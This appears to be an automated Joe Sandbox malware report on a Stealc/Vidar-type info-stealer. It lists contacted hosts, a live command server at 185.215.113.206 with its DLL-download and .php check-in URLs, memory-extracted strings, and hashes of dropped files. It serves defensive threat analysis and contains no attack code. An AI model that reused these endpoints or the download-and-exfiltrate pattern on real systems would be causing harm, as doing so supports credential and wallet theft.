https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plus.l.google.com	142.250.181.238	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.185.206	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.185.132	true	false	0%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
https://www.google.com/async/newtab_promos	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://www.google.com/async/ddljson?async=ntp:2	false	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_77.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dlll	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206DHC	file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/4	file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000003.1672546233.0000000004BBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2102413263.000000006C821000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dlld4	file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1888223176.000000001D1DD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpRUNTIME140.dllD	file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dllW4&	file.exe, 00000000.00000002.2078554951.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_81.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpu	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpa	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	chromecache_77.3.dr	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll5y9	file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	CBFBKFIDHIDGHJKFBGHC.0.dr	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual	file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpM	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	chromecache_77.3.dr, chromecache_81.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpY	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpodus.wallet	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllf	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://domains.google.com/suggest/flow	chromecache_81.3.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2101844623.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2096233430.000000001D2D1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllux	file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpA	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpC	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2102619499.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.php=	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllEx	file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php1	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.php-	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll8	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1888223176.000000001D1DD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php9	file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ava	file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://plus.google.com	chromecache_81.3.dr	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_77.3.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpion:	file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, CBFBKFIDHIDGHJKFBGHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll%y	file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000002.2078554951.0000000000F06000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	false	URL Reputation: safe	unknown
https://clients6.google.com	chromecache_81.3.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.238	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546570
Start date and time:	2024-11-01 05:51:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/6
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.74.195, 173.194.76.84, 142.250.185.206, 34.104.35.123, 142.250.184.195, 93.184.221.240, 172.217.18.10, 216.58.206.74, 216.58.206.42, 142.250.186.170, 172.217.16.202, 142.250.185.170, 142.250.185.234, 142.250.184.202, 172.217.18.106, 142.250.184.234, 142.250.181.234, 142.250.186.42, 142.250.186.138, 142.250.185.202, 142.250.186.106, 142.250.185.106, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7512 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:52:30	API Interceptor	37x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	https://my-homepagero.sa.com/exml/	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://pdfhost.io/v/maTYQa.jg_mqfilserawxgxdgxhhgsx_1	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse
	https://www.seucabelosemqueda.site/?&c=E,1,cRdm44xNAFnvsoEikdzjtf1PPAgWS9tpg0ubia7cbwt-mqWhjuhCoorsSmSpyTQbRbnEmxeGM9L3H3Ke74kewMAbyflnbdCxo3idr-f46A9rR7Cf2zlqsmVUjw,,&typo=1	Get hash	malicious	Unknown	Browse
185.215.113.206	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.174
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.110
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse	216.58.206.46
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse	142.250.186.110
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse	142.250.74.206
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse	172.217.18.14
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.174
	oZ7nac01Em.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.110
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.206
	https://fcs-aero.com/ilsmart/marketplace/inventory/#ksunya.chan@yogiproducts.com	Get hash	malicious	HTMLPhisher	Browse	142.250.185.206

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://my-homepagero.sa.com/exml/	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://pdfhost.io/v/maTYQa.jg_mqfilserawxgxdgxhhgsx_1	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://www.seucabelosemqueda.site/?&c=E,1,cRdm44xNAFnvsoEikdzjtf1PPAgWS9tpg0ubia7cbwt-mqWhjuhCoorsSmSpyTQbRbnEmxeGM9L3H3Ke74kewMAbyflnbdCxo3idr-f46A9rR7Cf2zlqsmVUjw,,&typo=1	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://hotmail.pizza4you.com.br/	Get hash	malicious	Mamba2FA	Browse	184.28.90.27 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	5y992FSaRX.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	oZ7nac01Em.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAKJKJJJECFIEBFHIEGHJDAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFBKFIDHIDGHJKFBGHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
